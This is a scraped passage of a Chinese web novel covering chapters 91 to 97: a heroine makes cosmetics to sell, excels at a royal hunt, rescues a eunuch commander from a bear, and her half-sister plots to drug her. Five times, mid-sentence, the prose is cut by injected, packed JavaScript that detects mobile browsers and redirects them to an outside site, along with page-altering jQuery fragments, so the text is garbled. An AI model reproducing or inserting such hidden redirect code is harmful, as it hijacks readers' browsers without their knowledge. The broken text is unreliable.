想到傅明雪今日的言行和可能牵扯的麻烦，他本能地就想拒绝。 傅流萤却抢在他开口前，继续说道：“虽然明雪妹妹与我平日有些小矛盾，但不管怎么说，她父亲终究是父亲的 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回到芳华苑，春芽和夏婵早已焦急地等在门口。一见傅流萤回来，两人立刻迎了上来，看到她苍白的脸色和额角的冷汗，心疼不已。 “小姐！您可算回来了！快坐下！”春芽小心翼翼地扶着她坐到榻上。 夏婵则迅速端来温水，又翻找出金疮药和干净的细布。“小姐，奴婢帮您换药。” 褪下外衫，肩头那片骇人的青紫肿胀再次暴露出来，比之前似乎更严重了些，边缘甚至泛着深紫色，显然是方才在书房对峙时，强撑姿态牵动了伤势。 两个丫鬟看得眼泪都在眼眶里打转。 春芽一边小心翼翼地用温水擦拭着伤处边缘，一边哽咽道，“小姐，您都是为了救我们……奴婢们没用，让小姐受苦了……” 夏婵更是自责不已：“都怪奴婢们不小心，着了歹人的道，连累了小姐……” 第九十二章 制作胭脂水粉 傅流萤忍着剧痛，额上冷汗涔涔，声音却带着安抚的温和：“不关你们的事。是那些人太歹毒。皮肉伤罢了，养些日子就好。倒是你们……” 她看向两人手臂和小腿上被麻绳勒出的血痕和淤青，“快让我看看你们的伤。” “小姐，我们没事的！”春芽连忙摇头，把手臂往身后藏。 傅流萤却不由分说，拉过两人的手，仔细查看她们身上的伤痕。 虽多是皮外伤，但看着也触目惊心。 的她心中对傅明雪和恒昌记的恨意又深了一层。 “坐下。”傅流萤语气不容置疑，亲自接过夏婵手中的药膏，示意两人坐好。 她忍着肩痛，动作有些却异常轻柔地为两个丫鬟清理伤口，涂抹药膏，包扎。 冰凉的药膏带着淡淡的清香，敷在火辣辣的伤口上，带来一丝舒缓的凉意。 春芽和夏婵看着自家小姐忍着剧痛、额角沁汗却依旧专注地为她们上药的模样，眼泪再也忍不住，扑簌簌地掉了下来。 她们从小为奴为婢，挨打受罚是常事，何曾被人如此珍视，如此温柔以待过？ “小姐……”夏婵泣不成声。 “好了，哭什么。”傅流萤包扎好春芽手臂上最后一道伤口，抬手轻轻拭去夏婵脸上的泪珠，“记住今日的教训，日后行事更要加倍小心。你们是我的人，只要我活着一天，就不会让你们白白受苦。” 这番话，让两个丫鬟心头滚烫，只觉得今日在钱庄地牢里经历的所有恐惧和绝望，都被眼前这苍白却坚韧的身影驱散了。 她们用力点头，眼神里充满了感激和誓死追随的决心。 处理完伤口，傅流萤靠在软枕上闭目养神。 疼痛和疲惫如潮水般袭来，但她的思绪却异常清晰。 恒昌记，傅明雪，傅莽，萧玹的警告，三日后的围猎……无数线索在脑中盘旋。 她的力量还是太弱了。 得想一想来钱的方式，毕竟有钱能使鬼推磨。 “春芽，夏婵，”傅流萤睁开眼，看向守在一旁的两个丫鬟，“你们在京城这些年，可知眼下最时兴、最好做的产业是什么？” 两个丫鬟愣了一下，没想到傅流萤会突然问这个。 春芽想了想，试探着回答：“回小姐，要说最时兴也最好做的……奴婢觉得，还是胭脂水粉、香料首饰这些女儿家的东西。” “京里的贵女夫人们，哪个不爱这些？尤其是那些香味独特、颜色好看的胭脂水粉，只要东西好，不愁卖不上价。” “奴婢前些日子还听厨房张婆子念叨，说她有个远房侄女，就在西市一家胭脂铺子做活，东家靠着祖传的几个秘方，赚得盆满钵满呢！” “哦？”傅流萤眼中闪过一丝亮光。胭脂水粉？ 成本相对低廉，利润空间巨大，且是消耗品，市场广阔…… 更重要的是，这东西能最快地打入京城贵妇贵女的圈子，成为她收集信息，编织人脉的绝佳掩护。 “很好。”傅流萤唇角微扬，一个计划在她心中迅速成型。 “这几日我肩上有伤，不便出门。你们去帮我悄悄采买些东西来……” 接下来的三天，芳华苑紧闭院门，谢绝一切不必要的拜访。傅流萤以养伤为由，足不出户，连柳飞燕那边派人送来的所谓“补品”也原封不动地退了回去。 而在这看似平静的表象下，芳华苑的小厨房里，却日夜弥漫着奇异的混合着各种花草果实的香气。 傅流萤换上了素净的旧衣，挽起袖子，忍着肩痛，亲自指挥着春芽和夏婵忙活。 她让春芽悄悄从外面买来了上好的蜂蜡，细腻的珍珠粉、研磨得极细的玉簪花粉，清晨采摘还带着露珠的各色花瓣，品质纯净的茶油，一小罐珍贵的西域甜杏仁油，以及一些药材，还有干净的陶钵、小铜锅、细密的滤网、小巧的瓷盒等等。 两个丫鬟看得眼花缭乱，她们从未见过自家小姐摆弄这些。只见傅流萤将不同的花瓣仔细分拣、清洗、晾干水分。 有些花瓣被她放入陶钵中，加入少量的盐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“天啊！小姐！这……这比外面铺子里卖的最贵的玉堂春还要好看！还要润！”春芽对着模糊的铜镜，惊喜得几乎说不出话。 第九十三章 生财路子 “而且好香，一点也不腻人！感觉……感觉整个人都精神了！”夏婵也爱不释手地摸着自己的嘴唇。 傅流萤看着效果，满意地点点头。 没想到第一次试验就这么成功。 不管是香味成色还是质量都要比外面买的要好。 “这几日你们辛苦，这几盒你们留着用。剩下的，春芽，你明日一早，悄悄拿去西市，找一家口碑尚可，人流较大的杂货铺子寄卖。不要提傅府，就说……是南边来的新货，让掌柜的试试水。价格定高些，就说是宫里头流出来的秘制方子。” “是，小姐！”春芽小心翼翼地捧着那些精致的瓷盒，如同捧着稀世珍宝，眼中充满了信心。 翌日一早，春芽和夏蝉就拿着这几盒胭脂水粉去了京城最大的铺子。 掌柜的看着这几盒胭脂水粉立马就眼睛发光。 “这些好货姑娘们都是从哪里得到的？” 他卖了这么多年的胭脂水粉，还从来都没有见过成色香味如此出众的，这要是放出去卖一定会惹得那些夫人小姐争相抢购。 春芽和夏婵按照傅流萤的吩咐告诉了掌柜的。 那掌柜的顿时喜笑眉开，“原来是南方来的货确实不错，五两银子我全收了。” 春芽笑了笑，“掌柜的，五两银子全收了似乎不太妥当吧？” “据我所知，玉堂春推出的胭脂水粉已经炒到了二十两一盒，而我们拿过来的货可比玉堂春还要好，掌柜的想用五两银子就收我们是十多盒胭脂水粉似乎有些说不过去吧。” 那掌柜的眼底闪过了一抹精光，尴尬的笑了笑，“那两位姑娘都打听清楚了。” 春芽和夏婵翻了一个白眼，还好她们提前打听清楚了，不然还不知道怎么被人宰呢。 三天时间转瞬即逝。 “一盒胭脂水粉二十两。”夏婵说话了。 “一盒二十两，你怎么不去偷抢呢！” “掌柜的这些胭脂水粉的质量可比玉春堂的要好得多，掌柜的收这些二十两一盒，卖出去可以卖二十五两，还有的赚。” 夏婵说完，那掌柜的迟迟没有说话。 夏婵见状，作势要去收这些胭脂水粉。 “看来我们是和掌柜的无缘了，既然如此那我就换家店问问了。” 掌柜的一看她们要走立马就着急了。 这些好货，二十五两一盒卖出去都算是少的。 这京城最不缺的就是有钱人，多少夫人小姐为了面若桃花不惜下重本。 想到这些，掌柜的立马拦住了夏婵。 “姑娘留步，我按照姑娘所说的二十两一盒，都收了，就当是结个善缘不过姑娘也要答应我一件事情以后要是再有这样的好货不许再卖给别家。” “掌柜的这就有些强人所难了，这东西自然是价高者所得，今日掌柜的肯结这个善缘也算是相识一场的缘分，我可以答应掌柜的，在一个月之内，若是还有这样的好货全都拿来卖给掌柜。” 两个人说好之后，掌柜的很爽快的给了三百两。 离开铺子春芽和夏婵揣着三百两的银票还有些不敢置信。 小姐捣鼓了一天，就赚了整整三百两？ 这可是她一辈子都挣不到的钱。 两个人回到芳华苑的时候还是有些神情恍惚不可置信的。 把来龙去脉和傅流萤说了一遍，又从怀里掏出了三百两的银票整整齐齐地摆在了傅流萤的面前。 傅流萤的红唇微勾，一人赏了二两银子。 “这件事情你们办的不错，都学会讨价还价了。” “都是小姐教得好。” 接下来的时间，傅流萤又制了一些胭脂水粉，让她们拿去卖了。 很快，就到了围猎之日。 天朗气清，惠风和畅。 皇家围场位于京郊西山脚下，旌旗招展，人喧马嘶，一派盛大景象。 傅家的马车在侍卫的护卫下抵达围场入口。 傅流萤穿着一身便于骑射的鹅黄色束袖劲装，发髻高挽，只簪了一支简洁的珍珠发簪，脸上薄施脂粉，掩盖了伤后残余的苍白，更显英姿飒爽，清丽脱俗。 她肩伤未愈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144619|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，虽不能亲自下场狩猎，但这身打扮既不失礼，又不会显得过于柔弱。 傅明雪则是一身张扬的绯红色骑装，金线绣着繁复的花纹，满头珠翠，在阳光下熠熠生辉。 她刻意打扮得光彩照人，想要压下傅流萤的风头。 可是今天本来就是围猎。 傅明雪这身打扮，实在看着有些矫揉刻意。 反而有些不合时宜了。 她的目光落在前方不远处那道挺拔冷峻的身影上时，心跳下意识的漏了一拍。 是萧玹！ 虽然他是个太监，根本就算不得什么男人，可架不住萧玹位高权重。 如果能让他拜倒在她的石榴裙下，稍加利用那傅流萤还不是得跪在地上求她。 傅明雪的眼底闪过了一抹算计。 萧玹今日只束着简单的玉冠。 一身玄色暗绣云纹的窄袖猎装，勾勒出劲瘦修长的身形。他并未骑马，只是负手而立，站在一片树荫下，侧脸线条冷硬如刀削，周身散发着生人勿近的冰寒气息。 阳光透过枝叶缝隙，在他身上投下斑驳的光影，却丝毫无法融化那份寒意。 他似乎正听着身边人的低声禀报，眼神淡漠地扫视着喧闹的围场。 傅明雪的心跳骤然加速，脸颊不受控制地飞起红霞。 她下意识地理了理鬓发，挺直了腰背，刚想鼓起勇气上前搭讪两句，却见萧玹的目光，似乎不经意地朝她们这边扫了过来。 那目光冰冷、锐利，不带丝毫温度。 她只觉得一股寒气从脚底直冲头顶，脸上的红晕瞬间褪尽，只剩下惨白和僵硬。 她甚至能感觉到那目光在她精心描画的眉眼和绯红的衣衫上停留了一瞬，带着一种毫不掩饰的审视和厌弃，那眼神，沉默得吓人。 傅明雪如坠冰窟，手脚冰凉，僵在原地动弹不得。 直到萧玹漠然地移开视线，她才猛地吸了一口气，心脏狂跳，后怕和羞愤瞬间淹没了她。 她死死咬住下唇，指甲深深掐进掌心，才勉强维持住没有失态。 第九十四章 巾帼不让须眉 再看傅流萤，对方似乎根本没注意到萧玹的目光，只是平静地跟在傅莽身后，与前来打招呼的其他勋贵女眷寒暄，姿态从容。 这强烈的对比，像一记响亮的耳光，狠狠扇在傅明雪脸上。 凭什么？ 凭什么傅流萤这个**就能得到萧玹的另眼相看？ 凭什么自己连被他正眼瞧一下的资格都没有？ 滔天的嫉妒和怨恨在她心底疯狂燃烧，几乎要将她的理智焚毁。 她看向傅流萤的眼神，怨毒得如同淬了毒的蛇信。 “哼！”一声冷哼自身旁传来。 傅明雪转头，看到傅莽正冷冷地盯着她，眼神里带着警告和不耐烦。 “收起你那点心思！也不看看这是什么地方！给我安分点！”傅莽压低声音斥道。他今日脸色一直不好，似乎心事重重。 傅明雪被父亲呵斥，心中更是憋闷委屈，却又不敢反驳，只能愤愤地低下头，将所有的恨意都记在了傅流萤头上。 皇家围场，旌旗猎猎，骏马嘶鸣。 高台之上，帝后端坐，俯瞰着这场春日的盛事。 贵妇贵女们言笑晏晏，目光却总是不由自主地被猎场边缘那道玄色的身影吸引。 萧玹策着墨玉般的骏马，姿态闲适，仿佛游离于喧嚣之外。 然而每一次拉弓射箭，都能无声无息地穿透猎物的要害，精准得令人心头发寒。 他每一次搭箭，开弓，松弦的动作都行云流水，带着一种浑然天成的力量与冷酷的美感，引得棚内阵阵压抑的惊呼。 傅流萤安静地坐在角落，她的肩伤还没有痊愈，让她无法下场，却也给了她绝佳的观察位置。 她的目光掠过萧玹那令人心悸的箭术，最终落在了高台上皇帝的脸上。 那毫不掩饰的欣赏与满意，让她心底掠过一丝疑虑。 君心难测，如此纵容一位权势滔天的东厂督主，究竟是何缘由？ 都说伴君如伴虎。 皇上对萧玹，倒是宠溺。 傅流萤眨了眨眼睛。 到底是萧玹权力已经大到凌驾于皇权之上，还是另有乾坤。 就在这时，一个带着几分戏谑的声音打破了棚内的低语。 “父皇！”三皇子李承泽策马靠近高台，朗声道，“儿臣观萧督主箭术通神，百步穿杨，实乃我大梁之幸！今日围猎盛事，岂能少了另一桩喜事的主角？” 他顿了顿，目光不怀好意地转向观猎棚内的傅流萤，“傅大将军之女，未来的督主夫人傅大小姐也在场。不如请傅大小姐与督主一同下场，联袂狩猎，定能成就一段佳话！也让我等见识见识，将门虎女的风采！” 此言一出，满场目光瞬间聚焦在傅流萤身上。 有看好戏的，有鄙夷的，也有担忧的。谁不知道傅家大小姐前些日子才受了伤，且传闻中她性情懦弱，不通骑射。三皇子此举，分明是想看她的笑话，顺带也让萧玹难堪。 傅莽脸色微沉，正欲开口替女儿推辞。 柳飞燕和傅明雪则交换了一个幸灾乐祸的眼神，巴不得傅流萤立刻出丑。 萧玹勒住马缰，冰冷的视线扫过三皇子，最终落在傅流萤苍白的脸上。 他的薄唇微启，声音不高，却清晰地传遍全场，带着毫不掩饰的轻嘲，“三殿下说笑了，傅大小姐这般娇弱，怕是连马都上不稳，受不住半点惊扰。若在猎场有个闪失，本督主可担待不起。” 这近乎羞辱的话语，让傅莽的脸色更加难看，傅明雪几乎要笑出声。 然而，被众人目光灼烤的傅流萤，却在萧玹话音落下的瞬间，缓缓站了起来。她肩头的伤还在隐隐作痛，但腰背挺得笔直，脸上不见丝毫愠怒，只有一种沉静的、近乎凛冽的从容。 “谢三殿下美意。”她的声音清越，穿透了猎场的喧嚣，目光平静地迎向高台，“臣女虽不才，却也略通骑射。能与督主同猎，是臣女的荣幸。” 她无视萧玹骤然加深的眸光，也忽略傅明雪那几乎要喷火的妒恨眼神，转向皇帝，盈盈一拜，“陛下，臣女愿下场一试，不至辱没父辈威名。” 皇帝眼中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16144620|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闪过一丝兴味，抚掌笑道，“好！虎父无犬女！傅爱卿，你这女儿，倒有几分你的风骨！准了！来人，给傅大小姐备马！” 一匹温顺的枣红马被牵了过来。 傅流萤忍着肩痛，动作利落地翻身上马，姿态竟出奇的矫健。 她接过侍卫递来的弓箭，策马缓缓行至猎场边缘，与萧玹隔了一段距离。 萧玹看着她，眼神深不见底，方才的轻嘲似乎被一丝难以察觉的审视取代。 就在这时，一只受惊的野狐猛地从灌木丛中窜出，慌不择路地朝着远离人群的方向狂奔，速度极快，瞬间已在百步开外。 “傅大小姐，机会来了！”三皇子扬声笑道，语气满是促狭。 所有人的心都提了起来。 傅流萤眼神一凝，没有丝毫犹豫。 她双腿一夹马腹，枣红马小跑起来。同时，她左手稳稳托弓，右手三指扣弦，动作流畅得如同演练过千百遍。 弓开如满月！ 那瞬间爆发的气势，哪里还有半分娇弱？ 嗖…… 箭矢离弦，破空之声尖锐刺耳。 一道乌光以肉眼难辨的速度撕裂空气，划出一道精准到令人窒息的轨迹。 噗嗤！ 百步之外，那只急速奔逃的野狐身形猛地一滞，被一股巨大的力量带得向前翻滚了两圈，随即瘫倒在地，一动不动。一支羽箭，正正贯穿了它脆弱的咽喉！ 全场死寂！ 落针可闻！ 所有人的表情都凝固了。 傅莽张大了嘴，眼中满是震惊。 柳飞燕和傅明雪脸上的笑容僵住，化为难以置信的惊骇。 三皇子李承泽得意的表情僵在脸上，如同被狠狠抽了一耳光。 高台上的皇帝猛地坐直了身体，眼中爆发出惊人的亮光，“好！好箭法！百步穿杨！傅爱卿，你养了个好女儿！巾帼不让须眉，此言不虚！” 傅明雪只觉得一股血气直冲头顶，嫉妒啃噬着她的理智，指甲深深掐进掌心，几乎要折断。 第九十五章 发高热，萧玹照顾 萧玹的目光牢牢锁在傅流萤身上。她收弓，端坐马上，气息微喘，脸颊因用力而泛起一丝红晕，眼神却依旧平静，仿佛只是做了一件微不足道的小事。 他眼底深处，那丝审视彻底化为了意外，甚至……一丝极淡的，连他自己都未曾察觉的激赏。 “督主，请。”傅流萤微微侧首，看向萧玹，声音平静无波。 萧玹唇角勾起一抹极淡、极冷的弧度，没有言语，双腿夹紧马腹，墨玉骏马如离弦之箭般冲了出去。 傅流萤策马紧随其后。 两人一前一后，玄黑与鹅黄的身影在猎场中穿梭。 萧玹箭无虚发，傅流萤虽因肩伤动作稍缓，却也箭箭精准，专挑一些中小型猎物下手，竟展现出一种奇异的默契。 她展现出的精湛骑术和箭术，彻底颠覆了众人对她的固有印象，观猎棚内赞叹之声不绝于耳。 就在众人以为这场联袂狩猎将以惊艳收场时。 异变陡生。 他们深入一片较为茂密的林地边缘，前方突然传来一声震耳欲聋的咆哮。 大地仿佛都在震动。 一头体型硕大、**色漆黑，双目赤红的成年公熊，如同失控的战车般，狂暴地冲出了密林！ 它身上插着几支歪斜的箭矢，显然是被其他**惊扰激怒了，此刻正处于狂躁状态！ 黑熊的目标，赫然便是离它最近的萧玹和傅流萤。 “护驾！” “有熊！快救督主！” 场外惊呼四起，侍卫们纷纷策马冲来，但距离稍远，鞭长莫及。 那黑熊速度极快，裹挟着腥风，巨大的熊掌带着撕裂空气的力道，狠狠拍向萧玹坐骑的头颅。 千钧一发之际。 萧玹眼神一厉，反应快如鬼魅。 他没有丝毫犹豫，猛地一蹬马镫，身体凌空跃起，同时反手抽刀。 寒光乍现，刀锋精准无比地斩向黑熊拍来的巨掌。 噗嗤！ 刀锋入肉。 黑熊发出一声痛极的咆哮，攻势稍缓！ 然而，萧玹的坐骑墨玉却被熊掌的余威扫中，惊嘶一声，人立而起，将刚刚落回马背的萧玹狠狠甩了出去。 萧玹人在半空，无处借力。 “督主！”傅流萤心脏骤然间一紧。 她几乎是本能地做出了反应。 她猛地将手中长弓当作投枪，用尽全力掷向黑熊的面门，试图干扰它的注意力，同时双腿狠狠一夹马腹，枣红马通人性般朝着萧玹即将坠落的方向猛冲过去。 长弓砸在黑熊脸上，虽未造成伤害，却成功吸引了它一瞬的注意。 就是这一瞬！ 傅流萤策马冲到萧玹下方，伸出未受伤的右手，精准地抓住了他玄色猎装的腰带。 巨大的下坠力道传来，傅流萤闷哼一声，肩伤处传来撕裂般的剧痛，眼前阵阵发黑，几乎要脱手。 但她咬紧牙关，死死抓住！借助枣红马前冲的惯性，硬生生将萧玹拉上了自己的马背。 萧玹高大的身躯骤然压上，枣红马不堪重负，发出一声哀鸣。 而此时，被彻底激怒的黑熊已经调转方向，张开血盆大口，带着令人作呕的腥风，再次扑来。 “抱紧！”萧玹低沉的声音在傅流萤耳边响起，带着不容置疑的命令。 他一手迅速夺过傅流萤手中的缰绳，一手反握**，双腿猛夹马腹。 枣红马吃痛，爆发出最后的潜力，朝着侧前方一处陡峭的斜坡狂奔。 黑熊紧追不舍。 就在熊掌即将拍中马臀的瞬间，萧玹猛地一勒缰绳。 枣红马前蹄扬起，险之又险地避开了致命一击。 然而，巨大的惯性加上陡坡的湿滑，马匹彻底失控，带着背上的两人，朝着陡坡下方翻滚下去。 “啊……”场外一片惊呼！ 翻滚中，萧玹本能地将傅流萤紧紧护在怀中，用自己的身体承受着大部分撞击。天旋地转，碎石树枝刮擦着身体，耳边是风声、撞击声和黑熊不甘的咆哮。 不知滚了多久，两人终于在一处较为平缓的溪流边停了下来。 枣红马早已不知所踪。 傅流萤被震得五脏六腑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157386|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都移了位，肩头的伤口彻底崩裂，温热的鲜血瞬间浸透了鹅黄的衣衫，剧烈的疼痛和眩晕让她意识模糊。 她最后看到的，是萧玹沾满泥土和草屑却依旧冷峻的侧脸，和他迅速查看她伤势的、带着一丝不易察觉焦灼的眼神。 “傅流萤！”他低喝一声，声音紧绷。 傅流萤想回答，却只觉眼前一黑，彻底失去了知觉。 意识在无边的黑暗和刺骨的寒冷中沉浮。 傅流萤感觉自己像被投入了冰窟，又像置身于烈火之中，冰火两重天的煎熬让她痛苦地蹙紧了眉头。 “……冷……”她无意识地呢喃着，蜷缩起身体。 “闭嘴！”一个冰冷不耐的声音在耳边响起，带着一丝压抑的烦躁，“麻烦！” 嘴上虽如此刻薄，动作却未停。 一件带着体温，沾着尘土和血腥气的玄色外袍被粗鲁地裹在了她身上。 随即，一只微凉却有力的手覆上了她的额头，那滚烫的温度让萧玹眉头拧得更紧。 “啧，废物。”萧玹低咒一声，看着蜷缩在溪边乱石堆旁，脸色烧得通红嘴唇干裂的傅流萤。 夜幕早已降临，崖底寒气深重，溪水潺潺流淌，更添几分刺骨。 远处隐约传来野兽的嚎叫和侍卫搜寻的呼喊，但声音缥缈，显然一时半刻难以找到这隐蔽的深谷。 萧玹环顾四周，这处溪谷三面环崖，地势险要。 他检查过傅流萤的肩伤，伤口撕裂严重，失血加上寒气入侵，引发了高热。 若放任不管，这女人怕是真的会死在这里。 “**倒也干净，省得碍眼。”他盯着傅流萤毫无血色的脸，语气森冷。 但说归说，他还是站起身，撕下自己里衣较为干净的布条，走到溪边浸湿冰冷的溪水，拧干，然后回到傅流萤身边，将那湿冷的布条叠好，覆在她滚烫的额头上。 动作算不上温柔，甚至有些粗手粗脚，但那冰冷的触感对于高烧的傅流萤来说，无异于甘霖。 她紧蹙的眉头似乎舒展了一丝，无意识地蹭了蹭那带来凉意的布巾。 第九十六章 得救 萧玹看着她这近乎依赖的小动作，眼神复杂了一瞬，随即又恢复了惯常的冰冷。 他起身，在附近收集了一些相对干燥的枯枝落叶，用火折子艰难地点起了一小堆篝火。 跳跃的火焰带来了一丝暖意，驱散了部分寒气。 他坐在火堆旁，背对着傅流萤，默默调息。 白日与黑熊搏斗，加上坠崖的冲击，他内腑也受了些震荡。 听着身后女人断断续续，痛苦的呻吟和呓语，他只觉得从未有过的烦躁。 “娘……别走……冷……”傅流萤烧得糊涂了，断断续续地低语着，声音带着孩童般的脆弱和无助。 萧玹的背影僵了一下。 他缓缓转过头，篝火跳跃的光映在他冷硬的侧脸上，明暗不定。 他看着那个在噩梦中挣扎，卸下了所有伪装和防备的女子，第一次清晰地意识到，这个看似心机深沉，手段狠辣的女人，内里或许也藏着不为人知的伤痛。 他沉默片刻，最终还是再次走到溪边，重新浸湿布条，换下她额头上已经变温的那块。 如此反复，几乎一夜未眠。 每当布条变温，他便起身更换，动作从一开始的生硬，到后来竟也带上了几分习惯性的麻木。 后半夜，傅流萤的高热终于退下去一些，呼吸也平稳了许多。 萧玹靠在冰冷的石壁上，闭目养神，篝火的光芒在他长长的睫毛下投下一片阴影。 当第一缕熹微的晨光艰难地穿透崖顶的薄雾，洒在溪谷时，傅流萤缓缓睁开了眼睛。 意识回笼，肩头剧痛和全身的酸软无力让她瞬间清醒。她发现自己裹着一件宽大的玄色外袍，身下垫着干燥的枯草，额头上还覆着一条湿冷的布巾。 不远处，篝火的余烬尚存一丝温热，而那个玄色的身影，正背对着她，负手而立，望着崖壁上方，身姿挺拔如松，仿佛昨夜那个笨拙照料她的人只是她的幻觉。 “醒了？”冰冷的声音传来，萧玹并未回头，“醒了就起来，准备回去。别装死。” 傅流萤撑着想坐起身，牵动肩伤，痛得倒吸一口冷气。 萧玹这才转过身，居高临下地看着她，眼神依旧淡漠，语气刻薄，“怎么？傅大小姐昨夜逞英雄的劲头哪去了？这点伤就爬不起来了？” 傅流萤抿了抿干裂的唇，没理会他的嘲讽，低声道，“多谢督主……昨夜……” 她看到了他里衣上撕下的痕迹。 “不必。”萧玹打断她，眼神锐利如刀，“本督只是不想你死在这里，平白惹一身麻烦。记住，昨夜之事，最好烂在肚子里。” 说完，他丢给她一个水囊，“喝点水，省得路上渴死。” 傅流萤接过水囊，默默喝了几口。 冰冷的溪水滑过喉咙，让她混沌的头脑清醒了不少。 她看着萧玹冷硬的侧脸，昨夜昏迷前感受到的那一丝被护住的暖意，以及额头上反复更换的冰冷布巾，都清晰地烙印在记忆里。 这个男人，远比她看到的更复杂。 就在这时，崖顶上方传来了清晰的呼喊声：“督主，傅大小姐，你们在下面吗？” 救援，终于到了。 傅流萤是被侍卫用简易担架抬上崖顶的。 她脸色苍白如纸，肩头裹着临时处理的伤处血迹斑斑，虚弱的样子惹来不少同情和探究的目光。 萧玹则拒绝了他人的搀扶，自己跃上侍卫牵来的另一匹骏马，玄衣染尘，发冠微乱，但那股迫人的气势却丝毫未减，反而因这经历更添几分凛冽的煞气。 “督主！流萤！”傅莽第一个冲了上来，看到女儿的模样，又惊又怒，“伤得如何？太医！快传太医！” 傅流萤看着傅莽眼底的担心，垂了垂眼眸，心底冷笑一声。 傅莽还会关心她的死活？ 到底是真情还是假意。 很快，皇帝和皇后也移驾过来，脸上带着关切。 “臣女参见陛下，皇后娘娘。”傅流萤在担架上挣扎着想起身行礼，被皇帝挥手制止。 “免礼！快，快抬下去让太医诊治！” 皇帝看向萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157387|177191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玹，“萧爱卿，你可无恙？” “谢陛下关心，微臣无碍。”萧玹声音平稳，下马行礼。 “好！好！没事就好！”皇帝松了口气，随即看向被抬走的傅流萤，眼中赞赏更甚，“傅家丫头临危不惧，胆识过人，箭术超群，更难得的是这份舍身相救的义勇！傅爱卿，你生了个好女儿啊！此次遇险，她功不可没！” 皇帝的赞誉再次响彻猎场，傅莽脸上有光，连声称是。 柳飞燕傅明雪站在人群后，脸色难看至极。 傅明雪看着被众人簇拥关怀的傅流萤，又看看被皇帝亲口嘉许的萧玹，心中的妒火几乎要将她焚烧殆尽！ 凭什么所有的荣耀和关注都是傅流萤的？ 连遇险都能因祸得福！ 为什么，她没有死在黑熊爪子下。 为什么傅流萤掉进崖底还能安然无恙的活着回来。 她的命可真大，老天真是太不公平了。 此时，负责清点猎物的官员高声禀报，“启禀陛下！猎物清点完毕！东厂督主萧玹大人，射获猎物种类最多，数量最巨，其中猛兽黑熊一头，当之无愧为此次春猎魁首！” “好！”皇帝龙颜大悦，“萧爱卿箭术无双，实至名归！重重有赏！” 萧玹谢恩，神色依旧淡漠，仿佛这魁首之名于他不过浮云。 他的目光掠过被抬远的傅流萤，眼底深处，一丝极淡的波澜转瞬即逝。 围猎结束，盛大的庆功宴在围场行宫举行。 歌舞升平，觥筹交错。 傅流萤因伤势，被安排在偏殿由太医诊治后，也换了一身干净的衣裙，在春芽和夏婵的搀扶下，勉强出席了宴会。 她脸色苍白，神情恹恹，更显得弱不胜衣，与白日里马背上的英姿判若两人，惹得不少贵妇心生怜惜。 傅明雪看着被安排坐在相对靠前位置的傅流萤，再看看自己这不起眼的角落，新仇旧恨一起涌上心头。尤其是看到二皇子李承睿的目光似乎也在傅流萤身上停留了几次，她心中的毒计如同藤蔓般疯狂滋长。 第九十七章 下药 “傅流萤……都是你逼我的……” 傅明雪攥紧了袖中的一个小瓷瓶，那是她花重金从黑市弄来的烈性媚药“醉春风”，无色无味，药性极烈。她原本是想用在……身上，只要生米煮成熟饭，她也能借此攀附。 但此刻，她改变主意了。 她要彻底毁了傅流萤！ 让她在所有人面前身败名裂，失去嫁给萧玹的资格！ 她悄悄离席，找到自己的心腹丫鬟翠儿，低声吩咐了几句，将瓷瓶塞给她，眼中闪烁着疯狂而怨毒的光芒。 宴会气氛正浓，丝竹悠扬。 翠儿端着托盘，上面放着两杯果酒，小心翼翼地穿过人群，朝着傅流萤的座位走去。 她心跳如鼓，努力维持着镇定。 “大小姐，”翠儿走到傅流萤身边，福了福身，“二小姐见您精神不佳，特让奴婢送来一杯果酒，说是用暖胃的药材泡制，请您润润喉。” 